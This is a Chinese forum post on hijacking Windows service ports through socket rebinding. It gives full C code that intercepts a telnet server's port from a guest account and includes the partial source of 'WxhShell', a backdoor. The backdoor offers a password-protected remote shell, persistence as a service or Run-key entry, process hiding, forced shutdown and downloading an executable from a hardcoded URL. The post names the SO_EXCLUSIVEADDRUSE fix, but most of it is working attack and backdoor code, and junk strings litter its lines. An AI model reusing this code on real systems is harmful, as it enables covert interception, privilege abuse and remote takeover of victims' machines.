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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1Ep!U#Del  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mGwB bY+5n  
7WKb| /#;  
  saddr.sin_family = AF_INET; _}{C?611c  
.$L'Jt2X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p.gi8%f`  
i|y8n7c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rp+&ax}Wh  
68W&qzw.[r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FE" ksi 9  
F@)wi0  
  这意味着什么?意味着可以进行如下的攻击: ~UEft  
^4h/6^b0c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <jY"+@rF  
9}:%CpD^~I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +*mi%)I  
z3[ J>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 |ILj}4ZA7  
$wub)^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Nu<M~/  
nV@k}IJg:?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @y2{LUJe  
>5'C<jc C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O#sDZ.EL  
G?#f@N0.5p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U# G0  
bb}|"m .  
  #include :l'61$=  
  #include }L'BzSU@G  
  #include Z9E[RD  
  #include    ofC=S$wX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'n6D3Vse  
  int main() sy0|=E*;8"  
  { Fr`"XH  
  WORD wVersionRequested; PsjSL8]  
  DWORD ret; \U\ W Q  
  WSADATA wsaData; 6f v{?0|  
  BOOL val; -M/DOTc  
  SOCKADDR_IN saddr; DW\';"  
  SOCKADDR_IN scaddr; ~Uz,%zU#3  
  int err; ]O,;t>  
  SOCKET s; ^M0e0  
  SOCKET sc; EuOrwmdj  
  int caddsize; xRuAt/aC  
  HANDLE mt; iOYC1QFi?  
  DWORD tid;   & w&JE]$ 5  
  wVersionRequested = MAKEWORD( 2, 2 ); o $7:*jU  
  err = WSAStartup( wVersionRequested, &wsaData ); ifHQ2Ug 9  
  if ( err != 0 ) { #/=s74.b  
  printf("error!WSAStartup failed!\n"); S|CN)8Jsi  
  return -1; @A GM=v  
  } *I:^g  
  saddr.sin_family = AF_INET; BGh1hyJ8d  
   \vjIw{   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iO4Yfj#?  
x\z* iv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )*}2L_5]  
  saddr.sin_port = htons(23); {ZP0%MD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _a|-_p  
  { airg[dK  
  printf("error!socket failed!\n"); =]X_wA;%  
  return -1; ]|KOc& y:I  
  } zy^t95/m  
  val = TRUE; ecfw[4B`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G~b/!clN  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i|?EgGFG  
  { 4! ]28[2B6  
  printf("error!setsockopt failed!\n"); ixm-wZI  
  return -1; }TI"j{(QJ  
  } E4idEQ}H  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I?<5 %  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GTgG0Ifeh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8vpB(VxV+  
JVy-Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~\B1\ G  
  { !~#zH0#  
  ret=GetLastError(); Ac{"$P`  
  printf("error!bind failed!\n"); jrJ!A(<)  
  return -1; u*u3<YQ  
  } 6AD#x7drj  
  listen(s,2); X` r~cc  
  while(1) | >X5@  
  { fhp\of/@ R  
  caddsize = sizeof(scaddr); 1- Jd Qs6  
  //接受连接请求 ^Y[.-MJt+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qtlXDgppO  
  if(sc!=INVALID_SOCKET) `>'%!E9G  
  { : E`/z@I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4}-{sS}MP  
  if(mt==NULL) +||y/}1  
  { jRdmQ mTJ  
  printf("Thread Creat Failed!\n"); h]W PWa)M  
  break; `#J0@ -  
  } Y=0D[o8  
  } #2 Gy=GvV  
  CloseHandle(mt); 7-S?\:J  
  } b{4@ ~>i  
  closesocket(s); +OEqDXR+_  
  WSACleanup(); nbd-f6F6  
  return 0; UaA1HZ1  
  }   w1>uD]  
  DWORD WINAPI ClientThread(LPVOID lpParam) X$mCn#8m  
  { QAN :  
  SOCKET ss = (SOCKET)lpParam; V&e 9?5@  
  SOCKET sc; &}}UdJ`  
  unsigned char buf[4096]; fib#)KE  
  SOCKADDR_IN saddr; % \N52  
  long num; 8);G'7O  
  DWORD val; l5; SY  
  DWORD ret; TQ hu$z<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P)D2PVD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jgpSFb<9F  
  saddr.sin_family = AF_INET; 5 1&||.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); olLVT<  
  saddr.sin_port = htons(23); q%&JAX=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ' tyblj C  
  { d-k`DJ!  
  printf("error!socket failed!\n"); )DG>omCY  
  return -1; naOCa  
  } 4gKu8G  
  val = 100; WK$d<:"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g+v.rmX  
  { $F&m('aB8  
  ret = GetLastError(); kxvzAKz~  
  return -1; J]mG!#9  
  } yzI`&? P2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bn*SLWWQ.3  
  { d-%bRGo/  
  ret = GetLastError(); #LU<v  
  return -1; "|k 4<"]  
  } NAg9EaWja{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HgY [Q}7s  
  { 8_*31Y   
  printf("error!socket connect failed!\n"); [T}Lq~  
  closesocket(sc); ]:"<if gp$  
  closesocket(ss); LZR x>q^  
  return -1; fGtYvl O-5  
  } &AUtUp kOo  
  while(1) M0) q  
  { Po B-:G6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,y>Sq +  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z.QgL=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r3;@  
  num = recv(ss,buf,4096,0); oeKVcVP|'&  
  if(num>0) v~.nP} E^  
  send(sc,buf,num,0); ?Sj >b   
  else if(num==0) :)*+ aS"  
  break; <y`M Upf]  
  num = recv(sc,buf,4096,0); ,;D$d#\"  
  if(num>0) Acix`-<  
  send(ss,buf,num,0); ?:woUTyCv  
  else if(num==0) 84U?\f@u  
  break; a*kvU"]  
  } `AcUxnO  
  closesocket(ss); #];b+ T  
  closesocket(sc); Ga$J7 R  
  return 0 ; NB^+Hcb$  
  } gc6Zy|^V4`  
4>t'4p6{  
on^m2pQ *p  
========================================================== \>]C  
4it^-M  
下边附上一个代码,,WXhSHELL Ea,L04K  
-xVp}RLT  
========================================================== -Z(='A  
P$7i>(?(  
#include "stdafx.h"  Q4R*yRk  
ye^*Z>|  
#include <stdio.h> *"qS  
#include <string.h> 1-=ZIHW  
#include <windows.h> KkJrh@lk  
#include <winsock2.h> 93[&'  
#include <winsvc.h> '$q=r x  
#include <urlmon.h> kfW"vI+d  
Vu= e|A#  
#pragma comment (lib, "Ws2_32.lib") `m")v0n3  
#pragma comment (lib, "urlmon.lib") /$=<"Y7&g  
Tb!Fv W  
#define MAX_USER   100 // 最大客户端连接数 `qs[a}%'>"  
#define BUF_SOCK   200 // sock buffer oE.59dx  
#define KEY_BUFF   255 // 输入 buffer a #`Y(R'  
G2y`yg  
#define REBOOT     0   // 重启 ? h |&kRq  
#define SHUTDOWN   1   // 关机 6k9cvMs%H  
g15~+;33N  
#define DEF_PORT   5000 // 监听端口 Rt+ak}  
8 \BGL  
#define REG_LEN     16   // 注册表键长度 @{q:179w^  
#define SVC_LEN     80   // NT服务名长度 cF V[k'F  
+Y! P VMF  
// 从dll定义API V] 0T P#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UTS.o#d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _c$F?9:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "p@EY|Zv%I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "xdu h3/~=  
fMm.V=/+  
// wxhshell配置信息 =pk5'hBAi  
struct WSCFG { p6c&vEsNj  
  int ws_port;         // 监听端口 1DR ih>+#  
  char ws_passstr[REG_LEN]; // 口令 kMx^L;:n  
  int ws_autoins;       // 安装标记, 1=yes 0=no , G2( l  
  char ws_regname[REG_LEN]; // 注册表键名 dTrz7ayH  
  char ws_svcname[REG_LEN]; // 服务名 [,0[\NC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Kl/n>qEt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UbDpSfub  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息   -]. a0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Dbg,|UH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V'^E'[Dd{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /UG]hJ-wn  
vrq5 +K&||  
}; uc>]-4  
w!|jL $5L  
// default Wxhshell configuration /g)(  
struct WSCFG wscfg={DEF_PORT, +R2+?v6  
    "xuhuanlingzhe", <N(r -  
    1, >[0t@Tu,D  
    "Wxhshell", *8Kx y@  
    "Wxhshell", b!4Z~d0=  
            "WxhShell Service", f2iA5 rCV]  
    "Wrsky Windows CmdShell Service", #V$h?`qhwr  
    "Please Input Your Password: ", up!54}qy  
  1, 8G )O,F7z  
  "http://www.wrsky.com/wxhshell.exe", Ud& '*,  
  "Wxhshell.exe" *!r"+?0gN  
    }; #ZyY(S1.  
Zg&o][T  
// 消息定义模块 6Z#$(oC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G0Y]-*1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f\vMdY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b*)F7{/Z  
char *msg_ws_ext="\n\rExit."; 3EV?=R  
char *msg_ws_end="\n\rQuit."; 9<Ks2W.N  
char *msg_ws_boot="\n\rReboot..."; ~J![Nx/  
char *msg_ws_poff="\n\rShutdown..."; qYP;`L}o#  
char *msg_ws_down="\n\rSave to "; J{U 171  
]o?r( 1  
char *msg_ws_err="\n\rErr!"; f=hT o!i  
char *msg_ws_ok="\n\rOK!"; VOSq%hB  
z 4qEC  
char ExeFile[MAX_PATH]; uGpLh0  
int nUser = 0; -2B3 xIZJ  
HANDLE handles[MAX_USER]; 'Px}#f0IR  
int OsIsNt; ER,!`C]  
Vji:,k=3\  
SERVICE_STATUS       serviceStatus; <nU8.?\?~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {,B. OM)J  
Wud-(19  
// 函数声明 q8!X^1F7  
int Install(void); }2hU7YWt  
int Uninstall(void); NjbIt=y  
int DownloadFile(char *sURL, SOCKET wsh); 2jF}n*[OW  
int Boot(int flag); 8ByNaXMO6  
void HideProc(void); u<JkP <"S  
int GetOsVer(void); x~QZVL=:  
int Wxhshell(SOCKET wsl); 4MrUo9L$s  
void TalkWithClient(void *cs); \SN>Yy  
int CmdShell(SOCKET sock); $ftxid8  
int StartFromService(void); YSbe Cyv  
int StartWxhshell(LPSTR lpCmdLine); aTwBRm  
 ]&OI.p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *?pnTQs^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YYhN>d$  
_>J`e7j+  
// 数据结构和表定义 F~sUfqiJ'  
SERVICE_TABLE_ENTRY DispatchTable[] = f^)iv ]p  
{ JAX`iQd  
{wscfg.ws_svcname, NTServiceMain}, \h/)un5  
{NULL, NULL} fTt\@" V  
}; &NX7  
Qp9QS yMs}  
// 自我安装 N~ajrv}kd  
int Install(void) 'Q"Mu  
{ eD|"?@cE  
  char svExeFile[MAX_PATH]; !u;gGgQF  
  HKEY key; MZ?+I~@  
  strcpy(svExeFile,ExeFile); TVF:z_M9  
Vn65:" O  
// 如果是win9x系统,修改注册表设为自启动 @<3kj R?j  
if(!OsIsNt) { twhT6wz"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >d(:XP6J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uO>pl37@  
  RegCloseKey(key); cB)tf S4)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pJ JOy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lNz1|nS(Kd  
  RegCloseKey(key); Y;"jsK{$  
  return 0; PJT$9f~3;.  
    } +4+c zfz  
  } i9|}-5ED  
} L d{`k  
else { |AXV4{j_i  
@RZbo@{~  
// 如果是NT以上系统,安装为系统服务 %~:@}C%A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9iV9q]($0  
if (schSCManager!=0) |kY  
{ ibn\&}1  
  SC_HANDLE schService = CreateService ; xL8W  
  ( nErr&{C  
  schSCManager, 5me#/NqLHY  
  wscfg.ws_svcname, c!GJS`/  
  wscfg.ws_svcdisp, p=V1M-  
  SERVICE_ALL_ACCESS, 1vYa&!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9g|99Z  
  SERVICE_AUTO_START, }USOWsLSt  
  SERVICE_ERROR_NORMAL, m%nRHT0KAf  
  svExeFile, b7y#uL1AE  
  NULL, W$<Y**y9m  
  NULL, hW9U%-D  
  NULL, 22*~CIh~x  
  NULL, xiV!\Z}  
  NULL 2UIZ<#|D>s  
  ); fWf't2H&  
  if (schService!=0) \]g51U!'  
  { "ZL_  
  CloseServiceHandle(schService); +,Or^p O=  
  CloseServiceHandle(schSCManager); dsOt(yNo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?zf3AZ9  
  strcat(svExeFile,wscfg.ws_svcname); uPC(|U%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }:Y)DH% u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b4f3ef  
  RegCloseKey(key); -q(*)N5.2  
  return 0; 2St<m-&  
    } ;U3K@_  
  } 1p$*N  
  CloseServiceHandle(schSCManager); /l+"aKW 2  
} :2V|(:^ '  
} 1,7 }ah_  
7'gk=MQc  
return 1; I%b5a`7  
} MdFFt:y:  
b`JS&E  
// 自我卸载 <g&.UW4  
int Uninstall(void) ,g4T>7`&U%  
{ mi1^hl'2  
  HKEY key; $KhD>4^ jL  
[E+J=L.l  
if(!OsIsNt) { &- !$qUli  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l](!2a=[  
  RegDeleteValue(key,wscfg.ws_regname); Dbb=d8utE  
  RegCloseKey(key); e}n(mq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mmG]|Cl@  
  RegDeleteValue(key,wscfg.ws_regname); F8#MI G   
  RegCloseKey(key); m2&Vm~Py6b  
  return 0; ^Nu j/  
  } KEdqA/F>  
} 7H|0.  
} 4l>U13~#  
else {  6@"E*-z$  
=A~5?J=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8kC$Z)  
if (schSCManager!=0) Q`{Vs:8X  
{ [e_<UF@A*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?B@3A)a  
  if (schService!=0) Gm &jlN  
  { O.Y|},F  
  if(DeleteService(schService)!=0) { r;{ggwY&J  
  CloseServiceHandle(schService); $Ld-lQsL  
  CloseServiceHandle(schSCManager); 2 6 >9$S  
  return 0; &gr  T@  
  } Vk*XiEfKm>  
  CloseServiceHandle(schService); s>1\bio*I  
  } .l|29{J  
  CloseServiceHandle(schSCManager); stMxlG"d  
} tc{l?7P  
} Ov4=!o=  
|onLJY7)  
return 1; s Ytn'&$\  
} 4>2\{0r  
O9m sPb:  
// 从指定url下载文件 zo("v*d*q  
int DownloadFile(char *sURL, SOCKET wsh) I[b{*g2Zw  
{ F/,6Jh  
  HRESULT hr; "kC6G%  
char seps[]= "/"; &ld<fa(w+2  
char *token; :5'hd^Q  
char *file; n*i&o;5  
char myURL[MAX_PATH]; yMzy!b Ky  
char myFILE[MAX_PATH]; Qmb+%z  
;JgSA&'e  
strcpy(myURL,sURL); EQk omjv  
  token=strtok(myURL,seps); -0BxZ AW=  
  while(token!=NULL) Q&lb]U+\u  
  { )A6=P%;}>I  
    file=token; &/:c?F?l  
  token=strtok(NULL,seps); .t9`e=%  
  } %Pl |3i  
AZ4:3}  
GetCurrentDirectory(MAX_PATH,myFILE); ^uphpABpD  
strcat(myFILE, "\\"); >;F}>_i  
strcat(myFILE, file); D=Nt 0y  
  send(wsh,myFILE,strlen(myFILE),0); .mg0L\  
send(wsh,"...",3,0); P)XR9&o':  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S4c-i2Rq  
  if(hr==S_OK) i3KAJ@  
return 0; U#- 5",X|  
else hN*v|LFf1  
return 1; _|4QrZ$n(  
.r&CIL >  
} 9V~hz (^  
65VTKlDD  
// 系统电源模块 OoRg:"9{#  
int Boot(int flag) he@Y1CY  
{ <%W&xk  
  HANDLE hToken; lxbC 7?O  
  TOKEN_PRIVILEGES tkp; M+^ NF\  
8zcS h/  
  if(OsIsNt) { f`K#=_Kq7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `:R9M+ OX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  >|gXE>  
    tkp.PrivilegeCount = 1; 8r:T&)v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; smn(q)tt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2yD ?f8P4  
if(flag==REBOOT) { DZLEx{cm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?R4u>AHS@  
  return 0; ,\1Rf.  
} 2^75|Q  
else { TKbfZw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Tr4\ `a-i  
  return 0; Yt{Z+.;9OI  
} 5\O&pz@D  
  } {5HQ=&  
  else { g z uWhQo  
if(flag==REBOOT) { "pcr-?L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ! ,{N>{I  
  return 0; Oiqc]4TL  
} H#WqO<<v  
else { X+HPdrT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6' \M:'<0e  
  return 0; "vkM*HP  
} uZ@qlq8  
} !>wu7u-  
a+CJJ3T-  
return 1; #7sxb  
} m*h O@M  
,1-idpnX  
// win9x进程隐藏模块 x9 t %  
void HideProc(void) T-lP=KF=  
{ =h?%<2t9<  
G(o6/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +z#+}'mT%  
  if ( hKernel != NULL ) R<hsG%BS(D  
  { X+ybgB4(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cG3tn&AXi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 09 f;z  
    FreeLibrary(hKernel); MSp) Jc  
  } tu@-+< *  
N6T  
return; !}c\u  
} a*_&[  
O-pH~E  
// 获取操作系统版本 |5q,%9_  
int GetOsVer(void) !\$4A,  
{ EFu$>Z4  
  OSVERSIONINFO winfo; k Q_Vj7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9x(t"VPuS  
  GetVersionEx(&winfo); &|Rww\oJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7fd,I%v  
  return 1; 9"L!A,&'  
  else { i4`- w  
  return 0; HCYy9  
} bP|-GCKM8  
\<y|[  
// 客户端句柄模块 -]YsiE?r  
int Wxhshell(SOCKET wsl) Nr"GxezU+A  
{ 0C"2?etMx  
  SOCKET wsh; }dqOE-"I"n  
  struct sockaddr_in client; .vIRz-S  
  DWORD myID; &$#NV@  
vfVF^ WOd  
  while(nUser<MAX_USER) )7AjRtb!/  
{ _W,?_"[R=  
  int nSize=sizeof(client); rJtk4hOF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y]!mN  
  if(wsh==INVALID_SOCKET) return 1; =%u=ma;  
CSwB+yN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M:d|M|'  
if(handles[nUser]==0) mZ3Z8q}%P  
  closesocket(wsh); &Ot9"Aq:  
else ,?%o ~  
  nUser++; YluvWHWi  
  } ]D^; Ca  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5g'aNkF6>  
 (tT%rj!  
  return 0; w*(1qUF#%  
} ,wHlU-%  
=BV_ ?  
// 关闭 socket s%m?Yh3  
void CloseIt(SOCKET wsh) bHTTxZ-%  
{ X)c0 y3hk  
closesocket(wsh); -:Juxh  
nUser--; 9`@}KnvB?  
ExitThread(0); @)z?i  
} e;"%h%'  
 3L4v@  
// 客户端请求句柄 U9%^gC  
void TalkWithClient(void *cs) >=1UhHFNI  
{ Q(Pc  
k>E/)9%ep2  
  SOCKET wsh=(SOCKET)cs; P8ns @VV  
  char pwd[SVC_LEN]; `V*$pHo  
  char cmd[KEY_BUFF]; JiXN"s^mcb  
char chr[1]; =~dXP  
int i,j; K8QEHc:  
g`"_+x'  
  while (nUser < MAX_USER) { M{Vi4ehOq  
3XUsw1,[  
if(wscfg.ws_passstr) { 9IacZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uw`J5TND  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1vq c8lC  
  //ZeroMemory(pwd,KEY_BUFF); w'mn O'%  
      i=0; 8lCo\T5"  
  while(i<SVC_LEN) { vv`53 Pbw)  
;jlI>;C;V  
  // 设置超时 2e({%P@2?  
  fd_set FdRead; aLQ]2m  
  struct timeval TimeOut; sE^= ]N  
  FD_ZERO(&FdRead); 3YEw7GIO-  
  FD_SET(wsh,&FdRead); BG]|iHi  
  TimeOut.tv_sec=8; g\aq#QV  
  TimeOut.tv_usec=0; lXnv(3j3*s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V r T0S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Eqx|k-<a  
RNcnE1=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f4|ir3oy  
  pwd=chr[0]; }|c-i.0=  
  if(chr[0]==0xd || chr[0]==0xa) { S3c%</'  
  pwd=0; o'YK\L!p  
  break; %6:"tuA  
  } H1vToIP%  
  i++; 1{h,LR  
    } }. V!|R,  
U-q:Y-h  
  // 如果是非法用户,关闭 socket QKt{XB6Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cg^1(dBd[9  
} dQNW1-s  
1%N[DA^<\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jF{\=&fU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QG XR<Y  
4L&Rs;  
while(1) { l?x'R("{  
L@G~9{U>  
  ZeroMemory(cmd,KEY_BUFF); M,DwBEF?  
4zqO!nk  
      // 自动支持客户端 telnet标准   u#$sO;8s  
  j=0; ]"\sd"  
  while(j<KEY_BUFF) { {9nH#yv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QnIF{TS=  
  cmd[j]=chr[0]; e:|Bn>*  
  if(chr[0]==0xa || chr[0]==0xd) { GVM)-Dp]  
  cmd[j]=0; ^4a|gc  
  break; h)X"<a++N  
  } X`k#/~+0  
  j++; OkQtM nq  
    } 3lefB A7  
vUJQ<D  
  // 下载文件 [-3x*?Ju  
  if(strstr(cmd,"http://")) { }#`-mRaU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g+KuK`\N%  
  if(DownloadFile(cmd,wsh)) WiF6*]oI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |'Ksy{lA  
  else nh/%0=S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hx;0h&L  
  } L#u!T)!zW  
  else { m Wh   
aByd,uSe)_  
    switch(cmd[0]) { R!RgQwEak  
  7JLjA\k  
  // 帮助 |6Qn/N$+f  
  case '?': {  TsI%M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QbEb} Jt  
    break; cGv`%  
  } PW"uPn  
  // 安装 SbD B[O%  
  case 'i': { Z$Vd8U;  
    if(Install()) oP`Qyk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XWf1c ~J  
    else 9Cq"Szs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W JG8E7  
    break; 0M; aTM  
    } }r ;#|=HR  
  // 卸载 WC wM+D  
  case 'r': { ~JDVoS;>jU  
    if(Uninstall()) w\5;;9_#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9S<at MB  
    else !<4=@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SG-Xgr@  
    break; h`V#)Q  
    } i0{sE  
  // 显示 wxhshell 所在路径 b|u0a6  
  case 'p': { q,.@<sW  
    char svExeFile[MAX_PATH]; Y| F~w~Cb  
    strcpy(svExeFile,"\n\r"); T1YbF/M'  
      strcat(svExeFile,ExeFile); KO=H!Em\l  
        send(wsh,svExeFile,strlen(svExeFile),0); Kbqx)E$iL  
    break; D+CP?} /  
    } b%UbTb,  
  // 重启 2NZC,znQ  
  case 'b': { #CNK [y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >~rytg]f  
    if(Boot(REBOOT)) $5J~4B"%3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZKoISuM  
    else { O|Y~^:ny  
    closesocket(wsh); _K<Z  
    ExitThread(0); ~)]R  
    } YC =:W  
    break; xt X`3=s  
    } 3KN})*1  
  // 关机 nb #)$l  
  case 'd': { KDJ-IXoU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fH ?s~X]  
